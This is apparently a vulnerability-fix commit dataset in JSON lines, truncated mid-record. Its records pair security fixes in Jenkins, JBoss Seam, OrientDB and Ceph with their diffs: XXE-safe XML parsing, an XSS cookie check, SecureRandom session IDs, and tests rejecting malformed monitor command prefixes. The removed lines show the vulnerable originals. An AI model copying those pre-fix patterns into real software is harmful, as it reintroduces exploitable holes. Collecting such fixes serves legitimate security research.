\n+ * This provides more secure version of it by using HMAC.\n+ * See http://rdist.root.org/2009/10/29/stop-using-unsafe-keyed-hashes-use-hmac/ for background.\n+ * This implementation also never leaks the secret value to outside, so it makes it impossible\n+ * for the careless caller to misuse the key (thus protecting ourselves from our own stupidity!)\n+ *\n+ * @author Kohsuke Kawaguchi\n+ * @since 1.498\n+ */\n+public class HMACConfidentialKey extends ConfidentialKey {\n+ private volatile SecretKey key;\n+ private final int length;\n+\n+ /**\n+ * @param length\n+ * Byte length of the HMAC code.\n+ * By default we use HMAC-SHA256, which produces 256bit (=32bytes) HMAC,\n+ * but if different use cases requires a shorter HMAC, specify the desired length here.\n+ * Note that when using {@link #mac(String)}, string encoding causes the length to double.\n+ * So if you want to get 16-letter HMAC, you specify 8 here.\n+ */\n+ public HMACConfidentialKey(String id, int length) {\n+ super(id);\n+ this.length = length;\n+ }\n+\n+ /**\n+ * Calls into {@link #HMACConfidentialKey(String, int)} with the longest possible HMAC length.\n+ */\n+ public HMACConfidentialKey(String id) {\n+ this(id,Integer.MAX_VALUE);\n+ }\n+\n+ /**\n+ * Calls into {@link #HMACConfidentialKey(String, int)} by combining the class name and the shortName\n+ * as the ID.\n+ */\n+ public HMACConfidentialKey(Class owner, String shortName, int length) {\n+ this(owner.getName()+'.'+shortName,length);\n+ }\n+\n+ public HMACConfidentialKey(Class owner, String shortName) {\n+ this(owner,shortName,Integer.MAX_VALUE);\n+ }\n+\n+\n+ /**\n+ * Computes the message authentication code for the specified byte sequence.\n+ */\n+ public byte[] mac(byte[] message) {\n+ return chop(createMac().doFinal(message));\n+ }\n+\n+ /**\n+ * Convenience method for verifying the MAC code.\n+ */\n+ public boolean checkMac(byte[] message, byte[] mac) {\n+ return Arrays.equals(mac(message),mac);\n+ }\n+\n+ /**\n+ * Computes the message authentication code and return it as a string.\n+ * While redundant, often convenient.\n+ */\n+ public String mac(String message) {\n+ try {\n+ return Util.toHexString(mac(message.getBytes(\"UTF-8\")));\n+ } catch (UnsupportedEncodingException e) {\n+ throw new AssertionError(e);\n+ }\n+ }\n+\n+ /**\n+ * Verifies MAC constructed from {@link #mac(String)}\n+ */\n+ public boolean checkMac(String message, String mac) {\n+ return mac(message).equals(mac);\n+ }\n+\n+ private byte[] chop(byte[] mac) {\n+ if (mac.length<=length) return mac; // already too short\n+\n+ byte[] b = new byte[length];\n+ System.arraycopy(mac,0,b,0,b.length);\n+ return b;\n+ }\n+\n+ /**\n+ * Creates a new {@link Mac} object.\n+ */\n+ public Mac createMac() {\n+ try {\n+ Mac mac = Mac.getInstance(ALGORITHM);\n+ mac.init(getKey());\n+ return mac;\n+ } catch (GeneralSecurityException e) {\n+ // Javadoc says HmacSHA256 must be supported by every Java implementation.\n+ throw new Error(ALGORITHM+\" not supported?\",e);\n+ }\n+ }\n+\n+ private SecretKey getKey() {\n+ if (key==null) {\n+ synchronized (this) {\n+ if (key==null) {\n+ try {\n+ byte[] encoded = load();\n+ if (encoded==null) {\n+ KeyGenerator kg = KeyGenerator.getInstance(ALGORITHM);\n+ SecretKey key = kg.generateKey();\n+ store(encoded=key.getEncoded());\n+ }\n+ key = new SecretKeySpec(encoded,ALGORITHM);\n+ } catch (IOException e) {\n+ throw new Error(\"Failed to load the key: \"+getId(),e);\n+ } catch (NoSuchAlgorithmException e) {\n+ throw new Error(\"Failed to load the key: \"+getId(),e);\n+ }\n+ }\n+ }\n+ }\n+ return key;\n+ }\n+\n+ private static final String ALGORITHM = \"HmacSHA256\";\n+}", "related": false}]} +{"owner": "seam2", "repo": "jboss-seam", "language": "Java", "file_name": "jboss-seam-remoting/src/main/java/org/jboss/seam/remoting/ExecutionHandler.java", "commit_id": "090aa6252affc978a96c388e3fc2c1c2688d9bb5", "commit_message": "https://issues.jboss.org/browse/WFK2-375 enhanced fix\n\ngit-svn-id: https://svn.jboss.org/repos/seam/branches/enterprise/WFK-2_1@15651 a9c07ecc-ef43-0410-a306-c911db474e88", "patch": "@@ -21,6 +21,7 @@\n import org.jboss.seam.log.Logging;\n import org.jboss.seam.remoting.wrapper.Wrapper;\n import org.jboss.seam.servlet.ContextualHttpServletRequest;\n+import org.jboss.seam.util.XML;\n \n /**\n * Unmarshals the calls from an HttpServletRequest, executes them in order and\n@@ -67,7 +68,7 @@ public void handle(HttpServletRequest request, final HttpServletResponse respons\n log.debug(\"Processing remote request: \" + requestData);\n \n // Parse the incoming request as XML\n- SAXReader xmlReader = new SAXReader();\n+ SAXReader xmlReader = XML.getSafeSaxReader();\n Document doc = xmlReader.read( new StringReader(requestData) );\n final Element env = doc.getRootElement();\n final RequestContext ctx = unmarshalContext(env);", "sections": [{"section": "@@ -21,6 +21,7 @@\n import org.jboss.seam.log.Logging;\n import org.jboss.seam.remoting.wrapper.Wrapper;\n import org.jboss.seam.servlet.ContextualHttpServletRequest;\n+import org.jboss.seam.util.XML;\n \n /**\n * Unmarshals the calls from an HttpServletRequest, executes them in order and\n", "related": false}, {"section": "@@ -67,7 +68,7 @@ public void handle(HttpServletRequest request, final HttpServletResponse respons\n log.debug(\"Processing remote request: \" + requestData);\n \n // Parse the incoming request as XML\n- SAXReader xmlReader = new SAXReader();\n+ SAXReader xmlReader = XML.getSafeSaxReader();\n Document doc = xmlReader.read( new StringReader(requestData) );\n final Element env = doc.getRootElement();\n final RequestContext ctx = unmarshalContext(env);", "related": false}]} +{"owner": "jenkinsci", "repo": "jenkins", "language": "Java", "file_name": "core/src/main/java/hudson/cli/CreateJobCommand.java", "commit_id": "ad38d8480f20ce3cbf8fec3e2003bc83efda4f7d", "commit_message": "[FIXED SECURITY-108] Check job name created via CLI", "patch": "@@ -72,6 +72,7 @@ protected int run() throws Exception {\n name = name.substring(i + 1);\n }\n \n+ Jenkins.checkGoodName(name);\n ig.createProjectFromXML(name, stdin);\n return 0;\n }", "sections": [{"section": "@@ -72,6 +72,7 @@ protected int run() throws Exception {\n name = name.substring(i + 1);\n }\n \n+ Jenkins.checkGoodName(name);\n ig.createProjectFromXML(name, stdin);\n return 0;\n }", "related": false}]} +{"owner": "jenkinsci", "repo": "jenkins", "language": "Java", "file_name": "core/src/main/java/hudson/model/PasswordParameterDefinition.java", "commit_id": "bf539198564a1108b7b71a973bf7de963a6213ef", "commit_message": "[FIXED SECURITY-93] PasswordParameterDefinition should serve existing default value in encrypted form.\nAnd strengthen functional tests (using configRoundTrip) to ensure that the same mistake is not made elsewhere.", "patch": "@@ -28,6 +28,8 @@\n import org.kohsuke.stapler.DataBoundConstructor;\n import hudson.Extension;\n import hudson.util.Secret;\n+import org.kohsuke.accmod.Restricted;\n+import org.kohsuke.accmod.restrictions.DoNotUse;\n \n /**\n * Parameter whose value is a {@link Secret} and is hidden from the UI.\n@@ -76,6 +78,11 @@ public String getDefaultValue() {\n return Secret.toString(defaultValue);\n }\n \n+ @Restricted(DoNotUse.class) // used from Jelly\n+ public Secret getDefaultValueAsSecret() {\n+ return defaultValue;\n+ }\n+\n // kept for backward compatibility\n public void setDefaultValue(String defaultValue) {\n this.defaultValue = Secret.fromString(defaultValue);", "sections": [{"section": "@@ -28,6 +28,8 @@\n import org.kohsuke.stapler.DataBoundConstructor;\n import hudson.Extension;\n import hudson.util.Secret;\n+import org.kohsuke.accmod.Restricted;\n+import org.kohsuke.accmod.restrictions.DoNotUse;\n \n /**\n * Parameter whose value is a {@link Secret} and is hidden from the UI.\n", "related": false}, {"section": "@@ -76,6 +78,11 @@ public String getDefaultValue() {\n return Secret.toString(defaultValue);\n }\n \n+ @Restricted(DoNotUse.class) // used from Jelly\n+ public Secret getDefaultValueAsSecret() {\n+ return defaultValue;\n+ }\n+\n // kept for backward compatibility\n public void setDefaultValue(String defaultValue) {\n this.defaultValue = Secret.fromString(defaultValue);", "related": false}]} +{"owner": "jenkinsci", "repo": "jenkins", "language": "Java", "file_name": "core/src/main/java/hudson/model/View.java", "commit_id": "a0b00508eeb74d7033dc4100eb382df4e8fa72e7", "commit_message": "[FIXED SECURITY-77] XSS in iconSize cookie.", "patch": "@@ -766,7 +766,7 @@ public AsynchPeople(View parent) {\n \n {\n StaplerRequest req = Stapler.getCurrentRequest();\n- iconSize = req != null ? Functions.getCookie(req, \"iconSize\", \"32x32\") : \"32x32\";\n+ iconSize = req != null ? Functions.validateIconSize(Functions.getCookie(req, \"iconSize\", \"32x32\")) : \"32x32\";\n }\n \n @Override protected void compute() throws Exception {", "sections": [{"section": "@@ -766,7 +766,7 @@ public AsynchPeople(View parent) {\n \n {\n StaplerRequest req = Stapler.getCurrentRequest();\n- iconSize = req != null ? Functions.getCookie(req, \"iconSize\", \"32x32\") : \"32x32\";\n+ iconSize = req != null ? Functions.validateIconSize(Functions.getCookie(req, \"iconSize\", \"32x32\")) : \"32x32\";\n }\n \n @Override protected void compute() throws Exception {", "related": false}]} +{"owner": "orientechnologies", "repo": "orientdb", "language": "Java", "file_name": "server/src/main/java/com/orientechnologies/orient/server/network/protocol/http/OHttpSessionManager.java", "commit_id": "668ece96be210e742a4e2820a3085b215cf55104", "commit_message": "Adopted SecureRandom to avoid predicable random numbers in session", "patch": "@@ -1,141 +1,142 @@\n /*\r\n- *\r\n- * * Copyright 2014 Orient Technologies LTD (info(at)orientechnologies.com)\r\n- * *\r\n- * * Licensed under the Apache License, Version 2.0 (the \"License\");\r\n- * * you may not use this file except in compliance with the License.\r\n- * * You may obtain a copy of the License at\r\n- * *\r\n- * * http://www.apache.org/licenses/LICENSE-2.0\r\n- * *\r\n- * * Unless required by applicable law or agreed to in writing, software\r\n- * * distributed under the License is distributed on an \"AS IS\" BASIS,\r\n- * * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n- * * See the License for the specific language governing permissions and\r\n- * * limitations under the License.\r\n- * *\r\n- * * For more information: http://www.orientechnologies.com\r\n- *\r\n- */\r\n+ *\r\n+ * * Copyright 2014 Orient Technologies LTD (info(at)orientechnologies.com)\r\n+ * *\r\n+ * * Licensed under the Apache License, Version 2.0 (the \"License\");\r\n+ * * you may not use this file except in compliance with the License.\r\n+ * * You may obtain a copy of the License at\r\n+ * *\r\n+ * * http://www.apache.org/licenses/LICENSE-2.0\r\n+ * *\r\n+ * * Unless required by applicable law or agreed to in writing, software\r\n+ * * distributed under the License is distributed on an \"AS IS\" BASIS,\r\n+ * * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n+ * * See the License for the specific language governing permissions and\r\n+ * * limitations under the License.\r\n+ * *\r\n+ * * For more information: http://www.orientechnologies.com\r\n+ *\r\n+ */\r\n package com.orientechnologies.orient.server.network.protocol.http;\r\n \r\n import com.orientechnologies.common.concur.resource.OSharedResourceAbstract;\r\n- import com.orientechnologies.common.log.OLogManager;\r\n- import com.orientechnologies.orient.core.Orient;\r\n- import com.orientechnologies.orient.core.config.OGlobalConfiguration;\r\n-\r\n- import java.util.HashMap;\r\n- import java.util.Iterator;\r\n- import java.util.Map;\r\n- import java.util.Map.Entry;\r\n- import java.util.Random;\r\n- import java.util.TimerTask;\r\n+import com.orientechnologies.common.log.OLogManager;\r\n+import com.orientechnologies.orient.core.Orient;\r\n+import com.orientechnologies.orient.core.config.OGlobalConfiguration;\r\n+\r\n+import java.security.SecureRandom;\r\n+import java.util.HashMap;\r\n+import java.util.Iterator;\r\n+import java.util.Map;\r\n+import java.util.Map.Entry;\r\n+import java.util.Random;\r\n+import java.util.TimerTask;\r\n \r\n /**\r\n- * Handles the HTTP sessions such as a real HTTP Server.\r\n- *\r\n- * @author Luca Garulli\r\n- */\r\n- public class OHttpSessionManager extends OSharedResourceAbstract {\r\n- private static final OHttpSessionManager instance = new OHttpSessionManager();\r\n- private Map sessions = new HashMap();\r\n- private int expirationTime;\r\n- private Random random = new Random();\r\n-\r\n- protected OHttpSessionManager() {\r\n- expirationTime = OGlobalConfiguration.NETWORK_HTTP_SESSION_EXPIRE_TIMEOUT.getValueAsInteger() * 1000;\r\n-\r\n- Orient.instance().scheduleTask(new TimerTask() {\r\n- @Override\r\n- public void run() {\r\n- final int expired = checkSessionsValidity();\r\n- if (expired > 0)\r\n- OLogManager.instance().debug(this, \"Removed %d session because expired\", expired);\r\n- }\r\n- }, expirationTime, expirationTime);\r\n- }\r\n-\r\n- public int checkSessionsValidity() {\r\n- int expired = 0;\r\n-\r\n- acquireExclusiveLock();\r\n- try {\r\n- final long now = System.currentTimeMillis();\r\n-\r\n- Entry s;\r\n- for (Iterator> it = sessions.entrySet().iterator(); it.hasNext();) {\r\n- s = it.next();\r\n-\r\n- if (now - s.getValue().getUpdatedOn() > expirationTime) {\r\n- // REMOVE THE SESSION\r\n- it.remove();\r\n- expired++;\r\n- }\r\n- }\r\n-\r\n- } finally {\r\n- releaseExclusiveLock();\r\n- }\r\n-\r\n- return expired;\r\n- }\r\n-\r\n- public OHttpSession[] getSessions() {\r\n- acquireSharedLock();\r\n- try {\r\n-\r\n- return (OHttpSession[]) sessions.values().toArray(new OHttpSession[sessions.size()]);\r\n-\r\n- } finally {\r\n- releaseSharedLock();\r\n- }\r\n- }\r\n-\r\n- public OHttpSession getSession(final String iId) {\r\n- acquireSharedLock();\r\n- try {\r\n-\r\n- final OHttpSession sess = sessions.get(iId);\r\n- if (sess != null)\r\n- sess.updateLastUpdatedOn();\r\n- return sess;\r\n-\r\n- } finally {\r\n- releaseSharedLock();\r\n- }\r\n- }\r\n-\r\n- public String createSession(final String iDatabaseName, final String iUserName, final String iUserPassword) {\r\n- acquireExclusiveLock();\r\n- try {\r\n- final String id = \"OS\" + System.currentTimeMillis() + random.nextLong();\r\n- sessions.put(id, new OHttpSession(id, iDatabaseName, iUserName, iUserPassword));\r\n- return id;\r\n-\r\n- } finally {\r\n- releaseExclusiveLock();\r\n- }\r\n- }\r\n-\r\n- public OHttpSession removeSession(final String iSessionId) {\r\n- acquireExclusiveLock();\r\n- try {\r\n- return sessions.remove(iSessionId);\r\n-\r\n- } finally {\r\n- releaseExclusiveLock();\r\n- }\r\n- }\r\n-\r\n- public int getExpirationTime() {\r\n- return expirationTime;\r\n- }\r\n-\r\n- public void setExpirationTime(int expirationTime) {\r\n- this.expirationTime = expirationTime;\r\n- }\r\n-\r\n- public static OHttpSessionManager getInstance() {\r\n- return instance;\r\n- }\r\n- }\r\n+ * Handles the HTTP sessions such as a real HTTP Server.\r\n+ *\r\n+ * @author Luca Garulli\r\n+ */\r\n+public class OHttpSessionManager extends OSharedResourceAbstract {\r\n+ private static final OHttpSessionManager instance = new OHttpSessionManager();\r\n+ private Map sessions = new HashMap();\r\n+ private int expirationTime;\r\n+ private Random random = new SecureRandom();\r\n+\r\n+ protected OHttpSessionManager() {\r\n+ expirationTime = OGlobalConfiguration.NETWORK_HTTP_SESSION_EXPIRE_TIMEOUT.getValueAsInteger() * 1000;\r\n+\r\n+ Orient.instance().scheduleTask(new TimerTask() {\r\n+ @Override\r\n+ public void run() {\r\n+ final int expired = checkSessionsValidity();\r\n+ if (expired > 0)\r\n+ OLogManager.instance().debug(this, \"Removed %d session because expired\", expired);\r\n+ }\r\n+ }, expirationTime, expirationTime);\r\n+ }\r\n+\r\n+ public int checkSessionsValidity() {\r\n+ int expired = 0;\r\n+\r\n+ acquireExclusiveLock();\r\n+ try {\r\n+ final long now = System.currentTimeMillis();\r\n+\r\n+ Entry s;\r\n+ for (Iterator> it = sessions.entrySet().iterator(); it.hasNext();) {\r\n+ s = it.next();\r\n+\r\n+ if (now - s.getValue().getUpdatedOn() > expirationTime) {\r\n+ // REMOVE THE SESSION\r\n+ it.remove();\r\n+ expired++;\r\n+ }\r\n+ }\r\n+\r\n+ } finally {\r\n+ releaseExclusiveLock();\r\n+ }\r\n+\r\n+ return expired;\r\n+ }\r\n+\r\n+ public OHttpSession[] getSessions() {\r\n+ acquireSharedLock();\r\n+ try {\r\n+\r\n+ return (OHttpSession[]) sessions.values().toArray(new OHttpSession[sessions.size()]);\r\n+\r\n+ } finally {\r\n+ releaseSharedLock();\r\n+ }\r\n+ }\r\n+\r\n+ public OHttpSession getSession(final String iId) {\r\n+ acquireSharedLock();\r\n+ try {\r\n+\r\n+ final OHttpSession sess = sessions.get(iId);\r\n+ if (sess != null)\r\n+ sess.updateLastUpdatedOn();\r\n+ return sess;\r\n+\r\n+ } finally {\r\n+ releaseSharedLock();\r\n+ }\r\n+ }\r\n+\r\n+ public String createSession(final String iDatabaseName, final String iUserName, final String iUserPassword) {\r\n+ acquireExclusiveLock();\r\n+ try {\r\n+ final String id = \"OS\" + System.currentTimeMillis() + random.nextLong();\r\n+ sessions.put(id, new OHttpSession(id, iDatabaseName, iUserName, iUserPassword));\r\n+ return id;\r\n+\r\n+ } finally {\r\n+ releaseExclusiveLock();\r\n+ }\r\n+ }\r\n+\r\n+ public OHttpSession removeSession(final String iSessionId) {\r\n+ acquireExclusiveLock();\r\n+ try {\r\n+ return sessions.remove(iSessionId);\r\n+\r\n+ } finally {\r\n+ releaseExclusiveLock();\r\n+ }\r\n+ }\r\n+\r\n+ public int getExpirationTime() {\r\n+ return expirationTime;\r\n+ }\r\n+\r\n+ public void setExpirationTime(int expirationTime) {\r\n+ this.expirationTime = expirationTime;\r\n+ }\r\n+\r\n+ public static OHttpSessionManager getInstance() {\r\n+ return instance;\r\n+ }\r\n+}\r", "sections": [{"section": "@@ -1,141 +1,142 @@\n /*\r\n- *\r\n- * * Copyright 2014 Orient Technologies LTD (info(at)orientechnologies.com)\r\n- * *\r\n- * * Licensed under the Apache License, Version 2.0 (the \"License\");\r\n- * * you may not use this file except in compliance with the License.\r\n- * * You may obtain a copy of the License at\r\n- * *\r\n- * * http://www.apache.org/licenses/LICENSE-2.0\r\n- * *\r\n- * * Unless required by applicable law or agreed to in writing, software\r\n- * * distributed under the License is distributed on an \"AS IS\" BASIS,\r\n- * * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n- * * See the License for the specific language governing permissions and\r\n- * * limitations under the License.\r\n- * *\r\n- * * For more information: http://www.orientechnologies.com\r\n- *\r\n- */\r\n+ *\r\n+ * * Copyright 2014 Orient Technologies LTD (info(at)orientechnologies.com)\r\n+ * *\r\n+ * * Licensed under the Apache License, Version 2.0 (the \"License\");\r\n+ * * you may not use this file except in compliance with the License.\r\n+ * * You may obtain a copy of the License at\r\n+ * *\r\n+ * * http://www.apache.org/licenses/LICENSE-2.0\r\n+ * *\r\n+ * * Unless required by applicable law or agreed to in writing, software\r\n+ * * distributed under the License is distributed on an \"AS IS\" BASIS,\r\n+ * * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n+ * * See the License for the specific language governing permissions and\r\n+ * * limitations under the License.\r\n+ * *\r\n+ * * For more information: http://www.orientechnologies.com\r\n+ *\r\n+ */\r\n package com.orientechnologies.orient.server.network.protocol.http;\r\n \r\n import com.orientechnologies.common.concur.resource.OSharedResourceAbstract;\r\n- import com.orientechnologies.common.log.OLogManager;\r\n- import com.orientechnologies.orient.core.Orient;\r\n- import com.orientechnologies.orient.core.config.OGlobalConfiguration;\r\n-\r\n- import java.util.HashMap;\r\n- import java.util.Iterator;\r\n- import java.util.Map;\r\n- import java.util.Map.Entry;\r\n- import java.util.Random;\r\n- import java.util.TimerTask;\r\n+import com.orientechnologies.common.log.OLogManager;\r\n+import com.orientechnologies.orient.core.Orient;\r\n+import com.orientechnologies.orient.core.config.OGlobalConfiguration;\r\n+\r\n+import java.security.SecureRandom;\r\n+import java.util.HashMap;\r\n+import java.util.Iterator;\r\n+import java.util.Map;\r\n+import java.util.Map.Entry;\r\n+import java.util.Random;\r\n+import java.util.TimerTask;\r\n \r\n /**\r\n- * Handles the HTTP sessions such as a real HTTP Server.\r\n- *\r\n- * @author Luca Garulli\r\n- */\r\n- public class OHttpSessionManager extends OSharedResourceAbstract {\r\n- private static final OHttpSessionManager instance = new OHttpSessionManager();\r\n- private Map sessions = new HashMap();\r\n- private int expirationTime;\r\n- private Random random = new Random();\r\n-\r\n- protected OHttpSessionManager() {\r\n- expirationTime = OGlobalConfiguration.NETWORK_HTTP_SESSION_EXPIRE_TIMEOUT.getValueAsInteger() * 1000;\r\n-\r\n- Orient.instance().scheduleTask(new TimerTask() {\r\n- @Override\r\n- public void run() {\r\n- final int expired = checkSessionsValidity();\r\n- if (expired > 0)\r\n- OLogManager.instance().debug(this, \"Removed %d session because expired\", expired);\r\n- }\r\n- }, expirationTime, expirationTime);\r\n- }\r\n-\r\n- public int checkSessionsValidity() {\r\n- int expired = 0;\r\n-\r\n- acquireExclusiveLock();\r\n- try {\r\n- final long now = System.currentTimeMillis();\r\n-\r\n- Entry s;\r\n- for (Iterator> it = sessions.entrySet().iterator(); it.hasNext();) {\r\n- s = it.next();\r\n-\r\n- if (now - s.getValue().getUpdatedOn() > expirationTime) {\r\n- // REMOVE THE SESSION\r\n- it.remove();\r\n- expired++;\r\n- }\r\n- }\r\n-\r\n- } finally {\r\n- releaseExclusiveLock();\r\n- }\r\n-\r\n- return expired;\r\n- }\r\n-\r\n- public OHttpSession[] getSessions() {\r\n- acquireSharedLock();\r\n- try {\r\n-\r\n- return (OHttpSession[]) sessions.values().toArray(new OHttpSession[sessions.size()]);\r\n-\r\n- } finally {\r\n- releaseSharedLock();\r\n- }\r\n- }\r\n-\r\n- public OHttpSession getSession(final String iId) {\r\n- acquireSharedLock();\r\n- try {\r\n-\r\n- final OHttpSession sess = sessions.get(iId);\r\n- if (sess != null)\r\n- sess.updateLastUpdatedOn();\r\n- return sess;\r\n-\r\n- } finally {\r\n- releaseSharedLock();\r\n- }\r\n- }\r\n-\r\n- public String createSession(final String iDatabaseName, final String iUserName, final String iUserPassword) {\r\n- acquireExclusiveLock();\r\n- try {\r\n- final String id = \"OS\" + System.currentTimeMillis() + random.nextLong();\r\n- sessions.put(id, new OHttpSession(id, iDatabaseName, iUserName, iUserPassword));\r\n- return id;\r\n-\r\n- } finally {\r\n- releaseExclusiveLock();\r\n- }\r\n- }\r\n-\r\n- public OHttpSession removeSession(final String iSessionId) {\r\n- acquireExclusiveLock();\r\n- try {\r\n- return sessions.remove(iSessionId);\r\n-\r\n- } finally {\r\n- releaseExclusiveLock();\r\n- }\r\n- }\r\n-\r\n- public int getExpirationTime() {\r\n- return expirationTime;\r\n- }\r\n-\r\n- public void setExpirationTime(int expirationTime) {\r\n- this.expirationTime = expirationTime;\r\n- }\r\n-\r\n- public static OHttpSessionManager getInstance() {\r\n- return instance;\r\n- }\r\n- }\r\n+ * Handles the HTTP sessions such as a real HTTP Server.\r\n+ *\r\n+ * @author Luca Garulli\r\n+ */\r\n+public class OHttpSessionManager extends OSharedResourceAbstract {\r\n+ private static final OHttpSessionManager instance = new OHttpSessionManager();\r\n+ private Map sessions = new HashMap();\r\n+ private int expirationTime;\r\n+ private Random random = new SecureRandom();\r\n+\r\n+ protected OHttpSessionManager() {\r\n+ expirationTime = OGlobalConfiguration.NETWORK_HTTP_SESSION_EXPIRE_TIMEOUT.getValueAsInteger() * 1000;\r\n+\r\n+ Orient.instance().scheduleTask(new TimerTask() {\r\n+ @Override\r\n+ public void run() {\r\n+ final int expired = checkSessionsValidity();\r\n+ if (expired > 0)\r\n+ OLogManager.instance().debug(this, \"Removed %d session because expired\", expired);\r\n+ }\r\n+ }, expirationTime, expirationTime);\r\n+ }\r\n+\r\n+ public int checkSessionsValidity() {\r\n+ int expired = 0;\r\n+\r\n+ acquireExclusiveLock();\r\n+ try {\r\n+ final long now = System.currentTimeMillis();\r\n+\r\n+ Entry s;\r\n+ for (Iterator> it = sessions.entrySet().iterator(); it.hasNext();) {\r\n+ s = it.next();\r\n+\r\n+ if (now - s.getValue().getUpdatedOn() > expirationTime) {\r\n+ // REMOVE THE SESSION\r\n+ it.remove();\r\n+ expired++;\r\n+ }\r\n+ }\r\n+\r\n+ } finally {\r\n+ releaseExclusiveLock();\r\n+ }\r\n+\r\n+ return expired;\r\n+ }\r\n+\r\n+ public OHttpSession[] getSessions() {\r\n+ acquireSharedLock();\r\n+ try {\r\n+\r\n+ return (OHttpSession[]) sessions.values().toArray(new OHttpSession[sessions.size()]);\r\n+\r\n+ } finally {\r\n+ releaseSharedLock();\r\n+ }\r\n+ }\r\n+\r\n+ public OHttpSession getSession(final String iId) {\r\n+ acquireSharedLock();\r\n+ try {\r\n+\r\n+ final OHttpSession sess = sessions.get(iId);\r\n+ if (sess != null)\r\n+ sess.updateLastUpdatedOn();\r\n+ return sess;\r\n+\r\n+ } finally {\r\n+ releaseSharedLock();\r\n+ }\r\n+ }\r\n+\r\n+ public String createSession(final String iDatabaseName, final String iUserName, final String iUserPassword) {\r\n+ acquireExclusiveLock();\r\n+ try {\r\n+ final String id = \"OS\" + System.currentTimeMillis() + random.nextLong();\r\n+ sessions.put(id, new OHttpSession(id, iDatabaseName, iUserName, iUserPassword));\r\n+ return id;\r\n+\r\n+ } finally {\r\n+ releaseExclusiveLock();\r\n+ }\r\n+ }\r\n+\r\n+ public OHttpSession removeSession(final String iSessionId) {\r\n+ acquireExclusiveLock();\r\n+ try {\r\n+ return sessions.remove(iSessionId);\r\n+\r\n+ } finally {\r\n+ releaseExclusiveLock();\r\n+ }\r\n+ }\r\n+\r\n+ public int getExpirationTime() {\r\n+ return expirationTime;\r\n+ }\r\n+\r\n+ public void setExpirationTime(int expirationTime) {\r\n+ this.expirationTime = expirationTime;\r\n+ }\r\n+\r\n+ public static OHttpSessionManager getInstance() {\r\n+ return instance;\r\n+ }\r\n+}\r", "related": false}]} +{"owner": "ceph", "repo": "ceph", "language": "C", "file_name": "src/test/librados/cmd.cc", "commit_id": "957ece7e95d8f8746191fd9629622d4457d690d6", "commit_message": "Merge pull request #9700 from JiYou/fix-monitor-crush\n\nmon: Monitor: validate prefix on handle_command()\r\n\r\nReviewed-by: Sage Weil \r\nReviewed-by: Joao Eduardo Luis ", "patch": "@@ -48,6 +48,41 @@ TEST(LibRadosCmd, MonDescribe) {\n rados_buffer_free(buf);\n rados_buffer_free(st);\n \n+ cmd[0] = (char *)\"\";\n+ ASSERT_EQ(-EINVAL, rados_mon_command(cluster, (const char **)cmd, 1, \"{}\", 2, &buf, &buflen, &st, &stlen));\n+ rados_buffer_free(buf);\n+ rados_buffer_free(st);\n+\n+ cmd[0] = (char *)\"{}\";\n+ ASSERT_EQ(-EINVAL, rados_mon_command(cluster, (const char **)cmd, 1, \"\", 0, &buf, &buflen, &st, &stlen));\n+ rados_buffer_free(buf);\n+ rados_buffer_free(st);\n+\n+ cmd[0] = (char *)\"{\\\"abc\\\":\\\"something\\\"}\";\n+ ASSERT_EQ(-EINVAL, rados_mon_command(cluster, (const char **)cmd, 1, \"\", 0, &buf, &buflen, &st, &stlen));\n+ rados_buffer_free(buf);\n+ rados_buffer_free(st);\n+\n+ cmd[0] = (char *)\"{\\\"prefix\\\":\\\"\\\"}\";\n+ ASSERT_EQ(-EINVAL, rados_mon_command(cluster, (const char **)cmd, 1, \"\", 0, &buf, &buflen, &st, &stlen));\n+ rados_buffer_free(buf);\n+ rados_buffer_free(st);\n+\n+ cmd[0] = (char *)\"{\\\"prefix\\\":\\\" \\\"}\";\n+ ASSERT_EQ(-EINVAL, rados_mon_command(cluster, (const char **)cmd, 1, \"\", 0, &buf, &buflen, &st, &stlen));\n+ rados_buffer_free(buf);\n+ rados_buffer_free(st);\n+\n+ cmd[0] = (char *)\"{\\\"prefix\\\":\\\";;;,,,;;,,\\\"}\";\n+ ASSERT_EQ(-EINVAL, rados_mon_command(cluster, (const char **)cmd, 1, \"\", 0, &buf, &buflen, &st, &stlen));\n+ rados_buffer_free(buf);\n+ rados_buffer_free(st);\n+\n+ cmd[0] = (char *)\"{\\\"prefix\\\":\\\"extra command\\\"}\";\n+ ASSERT_EQ(-EINVAL, rados_mon_command(cluster, (const char **)cmd, 1, \"\", 0, &buf, &buflen, &st, &stlen));\n+ rados_buffer_free(buf);\n+ rados_buffer_free(st);\n+\n cmd[0] = (char *)\"{\\\"prefix\\\":\\\"mon_status\\\"}\";\n ASSERT_EQ(0, rados_mon_command(cluster, (const char **)cmd, 1, \"\", 0, &buf, &buflen, &st, &stlen));\n ASSERT_LT(0u, buflen);", "sections": [{"section": "@@ -48,6 +48,41 @@ TEST(LibRadosCmd, MonDescribe) {\n rados_buffer_free(buf);\n rados_buffer_free(st);\n \n+ cmd[0] = (char *)\"\";\n+ ASSERT_EQ(-EINVAL, rados_mon_command(cluster, (const char **)cmd, 1, \"{}\", 2, &buf, &buflen, &st, &stlen));\n+ rados_buffer_free(buf);\n+ rados_buffer_free(st);\n+\n+ cmd[0] = (char *)\"{}\";\n+ ASSERT_EQ(-EINVAL, rados_mon_command(cluster, (const char **)cmd, 1, \"\", 0, &buf, &buflen, &st, &stlen));\n+ rados_buffer_free(buf);\n+ rados_buffer_free(st);\n+\n+ cmd[0] = (char *)\"{\\\"abc\\\":\\\"something\\\"}\";\n+ ASSERT_EQ(-EINVAL, rados_mon_command(cluster, (const char **)cmd, 1, \"\", 0, &buf, &buflen, &st, &stlen));\n+ rados_buffer_free(buf);\n+ rados_buffer_free(st);\n+\n+ cmd[0] = (char *)\"{\\\"prefix\\\":\\\"\\\"}\";\n+ ASSERT_EQ(-EINVAL, rados_mon_command(cluster, (const char **)cmd, 1, \"\", 0, &buf, &buflen, &st, &stlen));\n+ rados_buffer_free(buf);\n+ rados_buffer_free(st);\n+\n+ cmd[0] = (char *)\"{\\\"prefix\\\":\\\" \\\"}\";\n+ ASSERT_EQ(-EINVAL, rados_mon_command(cluster, (const char **)cmd, 1, \"\", 0, &buf, &buflen, &st, &stlen));\n+ rados_buffer_free(buf);\n+ rados_buffer_free(st);\n+\n+ cmd[0] = (char *)\"{\\\"prefix\\\":\\\";;;,,,;;,,\\\"}\";\n+ 